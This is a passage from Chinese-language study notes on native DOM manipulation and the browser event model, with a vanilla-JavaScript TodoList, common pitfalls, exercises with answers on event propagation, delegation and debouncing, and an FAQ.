// 运行环境:浏览器页面
function render(state) {
  return `
    <ul>
      ${state.items.map((item) => `
  • 方案二:虚拟 DOM(Virtual DOM)

    核心思想:在内存里用 JS 对象描述「界面应该长什么样」(这棵对象树就是虚拟 DOM),

    状态变化时生成一棵新的虚拟树,与旧树做差异对比(Diff),只把真正变化的部分应用到真实 DOM。

    flowchart LR
        S["状态 state"] --> V1["新虚拟 DOM 树"]
        V1 --> DIFF{"Diff 对比"}
        V0["旧虚拟 DOM 树"] --> DIFF
        DIFF -->|最小补丁| R["真实 DOM"]

    它的价值不在于「比手写 DOM 快」(精心手写的 DOM 操作通常更快),

    而在于:你不再需要手写 DOM 操作——只要描述「界面是状态的函数」,框架负责同步。

    这正是 前端-07-React 的 JSX 与 前端-06-Vue 的模板编译所做的事。

    方案三:细粒度响应式

    Vue 3 的响应式系统通过 Proxy 追踪「哪个数据被哪个视图用到」,

    数据一变直接精确更新对应的 DOM 节点,连 Diff 都省了。

    这也是它与虚拟 DOM 路线的主要分歧点,详见 前端-06-Vue。

    那还要不要学原生 DOM?

    要,而且必须学。 三个理由:

    ① 所有框架最终都调用本篇这些 API,出问题时你得能调试到这一层;

    ② 表单校验、FormData、AbortController、IntersectionObserver 等原生能力框架并不会替你封装;

    ③ 性能优化(减少重排、事件委托、虚拟滚动)的判断力来自对 DOM 与事件模型的理解。

    四、怎么用:一个完整的 TodoList

    把本节知识点串起来:查询、创建、插入、事件委托、dataset、classList、

    表单校验、localStorage 持久化,全部用原生 API 实现。

    <!-- 运行环境:浏览器页面。保存为 todo.html 双击打开即可运行(Node 无法运行本示例) -->
    <!DOCTYPE html>
    <html lang="zh-CN">
    <head>
      <meta charset="utf-8">
      <meta name="viewport" content="width=device-width, initial-scale=1">
      <title>TodoList(原生 DOM 版)</title>
      <style>
        body { font-family: system-ui, sans-serif; max-width: 520px; margin: 40px auto; }
        ul { list-style: none; padding: 0; }
        li { display: flex; align-items: center; gap: 8px; padding: 8px; border-bottom: 1px solid #eee; }
        li.done > .text { text-decoration: line-through; color: #999; }
        .text { flex: 1; }
        .count { color: #666; font-size: 14px; }
      </style>
    </head>
    <body>
      <h1>待办清单</h1>
      <form id="form">
        <input id="input" name="text" required maxlength="50" placeholder="输入待办后回车">
      </form>
      <ul id="list"></ul>
      <p class="count">共 <span id="total">0</span> 项,未完成 <span id="left">0</span> 项</p>
    
      <script>
        'use strict';
    
        const STORAGE_KEY = 'cs-notes-todo';
    
        const form = document.querySelector('#form');
        const input = document.querySelector('#input');
        const list = document.querySelector('#list');
        const totalEl = document.querySelector('#total');
        const leftEl = document.querySelector('#left');
    
        /** 唯一的应用状态 —— 视图完全由它推导出来 */
        let todos = load();
    
        // ——— 持久化 ———
        function load() {
          try {
            const raw = localStorage.getItem(STORAGE_KEY);
            const parsed = raw ? JSON.parse(raw) : [];
            // 防御:localStorage 的内容可能被手动改坏
            return Array.isArray(parsed) ? parsed : [];
          } catch {
            return [];
          }
        }
        function save() {
          localStorage.setItem(STORAGE_KEY, JSON.stringify(todos));
        }
    
        // ——— 渲染:用 DocumentFragment 一次性替换列表内容 ———
        function render() {
          const fragment = document.createDocumentFragment();
    
          for (const todo of todos) {
            const li = document.createElement('li');
            li.dataset.id = todo.id;                    // 用 data-* 关联状态
            if (todo.done) li.classList.add('done');    // 状态 → class,而不是直接写 style
    
            const checkbox = document.createElement('input');
            checkbox.type = 'checkbox';
            checkbox.checked = todo.done;
            checkbox.className = 'toggle';
            checkbox.setAttribute('aria-label', `标记「${todo.text}」为已完成`);
    
            const span = document.createElement('span');
            span.className = 'text';
            span.textContent = todo.text;               // ✅ 用户内容一律走 textContent
    
            const del = document.createElement('button');
            del.type = 'button';
            del.className = 'del';
            del.textContent = '删除';
    
            li.append(checkbox, span, del);
            fragment.append(li);
          }
    
          list.replaceChildren(fragment);               // 一次性替换,只触发一次布局
          totalEl.textContent = String(todos.length);
          leftEl.textContent = String(todos.filter((t) => !t.done).length);
        }
    
        // ——— 事件委托:一个监听器管住「勾选」和「删除」两种操作 ———
        list.addEventListener('click', (event) => {
          const li = event.target.closest('li');
          if (!li) return;
          const id = li.dataset.id;
    
          if (event.target.closest('.del')) {
            todos = todos.filter((t) => t.id !== id);
            save();
            render();
            return;
          }
    
          if (event.target.closest('.toggle')) {
            // checkbox 的 checked 在 click 事件里已经是最新值
            const todo = todos.find((t) => t.id === id);
            if (todo) {
              todo.done = !todo.done;
              save();
              render();
            }
          }
        });
    
        // ——— 新增:用 submit 而不是按钮 click,这样回车提交也能捕获 ———
        form.addEventListener('submit', (event) => {
          event.preventDefault();                        // 阻止默认提交导致页面刷新
          const text = input.value.trim();
          if (!text) return;                             // 简单校验:空内容直接忽略
    
          todos.push({ id: String(Date.now()), text, done: false });
          save();
          render();
          form.reset();                                  // 清空输入框
          input.focus();                                 // 保持焦点,方便连续输入
        });
    
        // ——— 初始化 ———
        // 脚本在 body 末尾,DOM 已就绪,无需等待 DOMContentLoaded
        render();
      </script>
    </body>
    </html>

    这段代码体现的工程习惯:

    1. 单一数据源:所有 UI 从 todos 推导,不把状态藏在 DOM 里(只把 id 放进 dataset 当索引)。
    2. 事件委托:列表项无论怎么增删,都只有一个监听器。
    3. replaceChildren 一次性替换:避免 innerHTML = '' 再逐个 append 造成的多次布局。
    4. 内容全部走 textContent:用户输入直接被当文本,XSS 无从下手。
    5. dataset 传 id、classList 传状态:JS 不直接写样式,视觉规则留在 CSS。

    五、注意事项与常见坑

    十二个高频错误

    1. 脚本执行时元素还没解析出来:把 <script> 放末尾,或用 defer / DOMContentLoaded。

    2. 忘记 event.preventDefault() 导致表单刷新 / 链接跳转:页面一刷新,所有 JS 状态丢失。

    3. 用 innerHTML 插入用户内容:XSS 漏洞,见 3.4。

    4. 把 Live 集合当静态快照用:getElementsByClassName 边遍历边改 DOM 会死循环。

    5. 用 childNodes 遍历子元素:缩进产生的空白文本节点会让逻辑出错,用 children。

    6. 用 event.target 判断 this:委托场景下 target 可能是深层子元素,要用 closest()。

    7. for 循环里给每个元素单独绑事件:1000 个监听器,应该用事件委托。

    8. 监听器泄漏:元素被移除但监听器仍被引用(若引用了大对象则内存无法回收);用 AbortController 或 { once: true } 管理。

    9. removeEventListener 没生效:传入的函数必须是同一个引用,匿名函数无法移除。

    10. setCustomValidity('...') 忘记清空:表单永久无法提交。

    11. scroll / mousemove 未节流:滚动卡顿、CPU 飙升。

    12. 在写样式之后立刻读 offsetWidth:布局抖动,循环里尤其致命。

    AbortController 还能用来批量移除监听器

    ```js

    // 运行环境:浏览器页面

    const controller = new AbortController();

    const { signal } = controller;

    window.addEventListener('scroll', onScroll, { signal, passive: true });

    window.addEventListener('resize', onResize, { signal });

    // 组件卸载时一次性清理全部监听器,不会漏

    controller.abort();

    ```

    这比逐个 removeEventListener 更不容易出错,尤其适合组件化的代码。


    六、练习题

    题 1(基础题:查询与静态/动态集合)

    // 运行环境:浏览器 DevTools 控制台(在任意含多个 <p> 的页面上执行)
    const a = document.getElementsByTagName('p');
    const b = document.querySelectorAll('p');
    console.log(a.length, b.length);          // 假设都是 3
    document.body.append(document.createElement('p'));
    console.log(a.length, b.length);          // 输出什么?为什么?

    <details>

    <summary>答案</summary>

    输出 3 3 然后是 4 3。

    getElementsByTagName 返回的是 HTMLCollection,动态(Live),它是对 DOM 的实时视图,

    新增 <p> 后 length 立刻变成 4。

    querySelectorAll 返回 NodeList,静态(Static),它在调用那一刻就把结果定了下来,

    后续 DOM 变化不影响它。

    实践结论:需要「快照语义」时用 querySelectorAll;需要「始终最新」时用 Live 集合

    (但绝大多数场景都是前者,所以 querySelectorAll 是现代代码的默认选择)。

    </details>

    题 2(事件传播顺序)

    <!-- 运行环境:浏览器页面。注意按钮内部还套了一个 <span>,点击时会点在 span 上 -->
    <div id="outer">
      <button id="btn"><span id="label">点我</span></button>
    </div>
    <script>
      const outer = document.querySelector('#outer');
      const btn = document.querySelector('#btn');
      const label = document.querySelector('#label');
    
      outer.addEventListener('click', () => console.log('A'));
      outer.addEventListener('click', () => console.log('C'), true);
      btn.addEventListener('click', () => console.log('B'));
      btn.addEventListener('click', () => console.log('D'), true);
      label.addEventListener('click', () => console.log('F'));
      document.body.addEventListener('click', () => console.log('E'));
    </script>

    点击文字「点我」(即点在 #label 上),输出顺序是什么?另外:event.target 与 event.currentTarget

    分别在什么时候等于哪个元素?

    <details>

    <summary>答案</summary>

    输出顺序:C → D → F → B → A → E

    (本题已在真实浏览器引擎中实测确认输出为 C D F B A E。)

    推演(依据 DOM 标准「分派事件」一节的两条规则):

    • 规则一:该对象所有包含自身的祖先上 capture 为 true 的监听器,按树顺序(从外到内)被调用;
    • 规则二:随后,若事件 bubbles 为 true,包含自身的祖先上 capture 为 false 的监听器,

    按相反树顺序(从内到外)被调用。

    把祖先链写清楚:label(目标)→ btn → outer → body → html → document → window。

    1. 捕获(下行,命中 capture 监听器):outer 的 C → btn 的 D。

    注意 label 自己没有 capture 监听器,所以此处无输出。

    1. 目标阶段:事件到达 label,「包含自身的祖先」链上剩余的监听器轮到它——

    它自己的冒泡监听器 F。

    (zh.javascript.info 明确指出:虽然形式上分三个阶段,但目标阶段并没有被单独处理,

    捕获与冒泡的处理程序都在该阶段被触发;同一元素同一阶段的监听器按注册顺序执行。)

    1. 冒泡(上行):btn 的 B → outer 的 A → body 的 E。

    event.target 与 event.currentTarget:

    • event.target 始终是 #label(实际触发的元素),整个过程中不变;
    • event.currentTarget 随监听器所在元素变化:

    打印 C 和 A 时是 #outer,打印 D 和 B 时是 #btn,打印 F 时是 #label,打印 E 时是 body。

    要点:A 与 C 挂在同一个 outer 上,C 是捕获所以走「下行」先执行,A 走「上行」后执行。

    在同一个元素上,同阶段的多个监听器才按注册顺序执行;跨阶段则由传播方向决定,与注册顺序无关。

    </details>

    题 3(事件委托)

    有一个 <ul id="list">,列表项会被接口返回的数据动态重建(每次重建都会 replaceChildren)。

    要求:点击某一项时在控制台输出该项的 data-id,且重建后功能依然正常。

    请写出实现,并说明为什么不能把监听器绑在 li 上。

    <details>

    <summary>参考答案</summary>

    // 运行环境:浏览器页面
    document.querySelector('#list').addEventListener('click', (event) => {
      const li = event.target.closest('li');
      if (!li) return;                       // 点到 ul 空白处
      console.log('点击的 id:', li.dataset.id);
    });

    为什么不能绑在 li 上:replaceChildren / innerHTML 会把旧的 li 整个销毁,

    绑定在它们身上的监听器随之消失;每次重建都必须重新遍历并绑定一遍(O(n) 次操作,且容易漏)。

    挂在 ul 上的委托监听器不属于任何 li,重建多少次都不受影响——

    这就是事件委托最实用的价值。

    </details>

    题 4(防抖与节流)

    下面是搜索框的实时联想代码,请指出问题并给出修复方案。

    // 运行环境:浏览器页面
    document.querySelector('#search').addEventListener('input', async (e) => {
      const res = await fetch(`/api/search?q=${encodeURIComponent(e.target.value)}`);
      renderResults(await res.json());
    });

    <details>

    <summary>参考答案</summary>

    两个问题:

    1. 没有防抖:用户每敲一个字符就发一次请求,输入 hello 会发出 5 次请求,浪费带宽与服务端资源。
    2. 存在竞态(Race Condition):用户快速输入 ab,先发的 a 请求可能后返回,

    把 ab 的结果覆盖掉,界面显示错误内容。这是比性能更严重的正确性问题。

    修复(防抖 + 用 AbortController 取消过期请求):

    // 运行环境:浏览器页面
    const input = document.querySelector('#search');
    let controller = null;
    let timerId = null;
    
    function debounce(fn, wait) {
      return function (...args) {
        clearTimeout(timerId);
        timerId = setTimeout(() => fn.apply(this, args), wait);
      };
    }
    
    const search = debounce(async (keyword) => {
      if (!keyword) return renderResults([]);
    
      controller?.abort();                  // 取消上一次未完成的请求,从根上消除竞态
      controller = new AbortController();
    
      try {
        const res = await fetch(`/api/search?q=${encodeURIComponent(keyword)}`, {
          signal: controller.signal,
        });
        if (!res.ok) throw new Error(`HTTP ${res.status}`);
        renderResults(await res.json());
      } catch (err) {
        if (err.name !== 'AbortError') console.error(err);  // 主动取消不算错误
      }
    }, 300);
    
    input.addEventListener('input', (e) => search(e.target.value.trim()));

    </details>

    题 5(思考题:性能)

    下面两段代码功能相同。第二段通常更快,请从浏览器渲染流程的角度解释原因;

    并说明在什么情况下两者差别其实不大。

    // 版本 1
    for (let i = 0; i < 1000; i++) list.append(document.createElement('li'));
    
    // 版本 2
    const fragment = document.createDocumentFragment();
    for (let i = 0; i < 1000; i++) fragment.append(document.createElement('li'));
    list.append(fragment);

    <details>

    <summary>参考思路</summary>

    版本 1 在循环里做了 1000 次 DOM 变更,每一次都会让浏览器的样式/布局进入「脏」状态。

    只要循环中间夹进任何一次布局读取(offsetHeight、getBoundingClientRect()、getComputedStyle() 等),

    浏览器就被迫立刻同步重排(布局抖动),代价随循环次数线性放大;

    即使没有读取,1000 次变更记录本身也有开销,且每次变更都要做「祖先链失效标记」。

    版本 2 里 DocumentFragment 不在主 DOM 树上(MDN:文档片段从不属于主 DOM 树),

    往它里面加节点只是内存中的树操作,完全不触碰浏览器的样式与布局系统。

    最后 list.append(fragment) 只产生 1 次 DOM 变更——片段被它的全部 1000 个子节点替换,

    浏览器因此只需在下一帧做一次布局。

    什么情况下差别不大:现代浏览器会把同一个任务内的多次变更合并(batch)到下一帧统一计算,

    只要全程不做布局读取,版本 1 的 1000 次 append 同样只会引发一次重排。

    所以真正的性能红线不是「append 了几次」,而是有没有在写操作之间插入读操作。

    MDN 也特别注明片段的性能收益主要体现在较老的引擎上。

    练习的真正结论:DocumentFragment 的价值在于显式地把变更合并成一次挂载,

    让性能不依赖「浏览器会不会替我批量优化」这一假设;而 读写分离(见 3.11)才是必须遵守的硬规则。

    </details>


    七、常见问题(FAQ)

    Q1:现在都用框架了,还需要学原生 DOM 吗?

    A:需要。框架的抽象层越厚,出问题时越需要往下钻:

    v-for 里的 key 为什么影响性能、虚拟 DOM 的 diff 为什么会有 bug、

    为什么某个 ref 拿到的元素还没渲染好——这些问题的答案都在原生 DOM 与事件模型里。

    另外有些 API(FormData、IntersectionObserver、AbortController、<dialog>)

    框架并不封装,直接用原生反而更简单。框架层面的内容见 前端-06-Vue 与 前端-07-React。

    Q2:document.write() 还能用吗?

    A:不要用。在文档加载完成后调用 document.write() 会清空整个文档,

    把当前页面全部内容替换掉。它只在「解析期间的同步脚本里」有意义,

    而现在有 createElement + append 等更安全的方式。现代浏览器对

    解析后加载的脚本中调用 document.write() 还会直接忽略并给出控制台警告。

    Q3:为什么我给元素加了 click,但点击时没反应?

    A:按这个顺序排查:

    1. 元素真的存在吗?querySelector 返回 null 时监听器根本没绑上——脚本执行时元素还没解析出来(见 3.9)。
    2. 是不是被别的元素挡住了?用 DevTools 的 Elements 面板点击元素,或用 document.elementFromPoint(x, y) 看看命中的是谁。
    3. 有没有 pointer-events: none?或者在父级上被禁用。
    4. 有没有更早的监听器调用了 stopPropagation()?事件在到达你的元素前就被截断了。
    5. 绑定的是不是同一个函数引用?removeEventListener 失败时会留下「已失效」的错觉。
    6. 事件本身是否冒泡?focus / blur 不冒泡,委托到父级自然收不到。

    Q4:innerHTML 和 insertAdjacentHTML 之后,原来的事件监听器为什么都没了?

    A:因为设置 innerHTML 会销毁原有子节点并重新解析创建新的节点。

    监听器是挂在「旧节点对象」上的,旧对象被丢弃,监听器自然一同消失(注意:这不会造成内存泄漏,

    旧节点被回收时监听器一起回收。会泄漏的是另一种情况——你用一个长期存活的变量

    一直持有被移除的节点或它的监听器)。

    解决办法有两个:用事件委托(推荐,重建多少次都不受影响),

    或者用 createElement + append 只做增量修改,不整体重建。

    Q5:DOMContentLoaded 和 defer 该选哪个?

    A:两者目的一样(等 DOM 就绪再执行),场景不同:

    • <script defer src="...">:声明式,适合外部脚本文件,代码里不需要额外包裹;
    • DOMContentLoaded 监听:适合内联脚本,或者需要在 DOM 就绪后做初始化的模块代码。

    注意 defer 只对外部脚本(有 src)有效,内联脚本写 defer 会被忽略。


    相关笔记

    • JavaScript-01-基础语法与类型:null 与 undefined 的判断、字符串方法是 DOM 操作的基本功
    • JavaScript-02-函数与作用域:事件监听器里的 this、闭包与监听器泄漏
    • JavaScript-04-异步编程:事件循环决定了事件回调何时执行,fetch 与 AbortController 的配合
    • 前端-01-HTML基础:语义化标签、表单元素与可访问性,是 DOM 操作的对象
    • 前端-02-CSS基础:选择器、层叠与优先级,classList 切换样式的前提
    • 前端-04-浏览器与HTTP:渲染流程、重排与重绘,解释本篇性能建议的根本原因
    • 前端-06-Vue:响应式原理与模板编译,虚拟 DOM 路线的对照
    • 前端-07-React:JSX、合成事件与虚拟 DOM 的 Diff 算法

    参考来源

    • MDN 中文:DOM 简介 https://developer.mozilla.org/zh-CN/docs/Web/API/Document_Object_Model/Introduction
    • MDN 中文:Document.querySelectorAll()(静态 NodeList 的定义) https://developer.mozilla.org/zh-CN/docs/Web/API/Document/querySelectorAll
    • MDN 中文:Element.append() https://developer.mozilla.org/zh-CN/docs/Web/API/Element/append
    • MDN 中文:Node.textContent https://developer.mozilla.org/zh-CN/docs/Web/API/Node/textContent
    • MDN 中文:Element.innerHTML(含安全注意事项) https://developer.mozilla.org/zh-CN/docs/Web/API/Element/innerHTML
    • MDN 中文:EventTarget.addEventListener()(第三个参数与各选项) https://developer.mozilla.org/zh-CN/docs/Web/API/EventTarget/addEventListener
    • MDN 中文:event.stopPropagation() https://developer.mozilla.org/zh-CN/docs/Web/API/Event/stopPropagation
    • MDN 中文:event.preventDefault() https://developer.mozilla.org/zh-CN/docs/Web/API/Event/preventDefault
    • MDN 中文:DOMContentLoaded 事件 https://developer.mozilla.org/zh-CN/docs/Web/API/Document/DOMContentLoaded_event
    • MDN 中文:DocumentFragment https://developer.mozilla.org/zh-CN/docs/Web/API/DocumentFragment
    • MDN 中文:HTMLFormElement.checkValidity() https://developer.mozilla.org/zh-CN/docs/Web/API/HTMLFormElement/checkValidity
    • MDN 中文:Window.getComputedStyle()(读取计算样式会强制样式与布局计算) https://developer.mozilla.org/zh-CN/docs/Web/API/Window/getComputedStyle
    • 现代 JavaScript 教程(中文):《冒泡和捕获》 https://zh.javascript.info/bubbling-and-capturing
    • 说明:AbortSignal.timeout、Pointer Events 的浏览器支持情况与表单约束校验的细节可能随版本变化,请以 MDN 与目标浏览器的最新文档为准。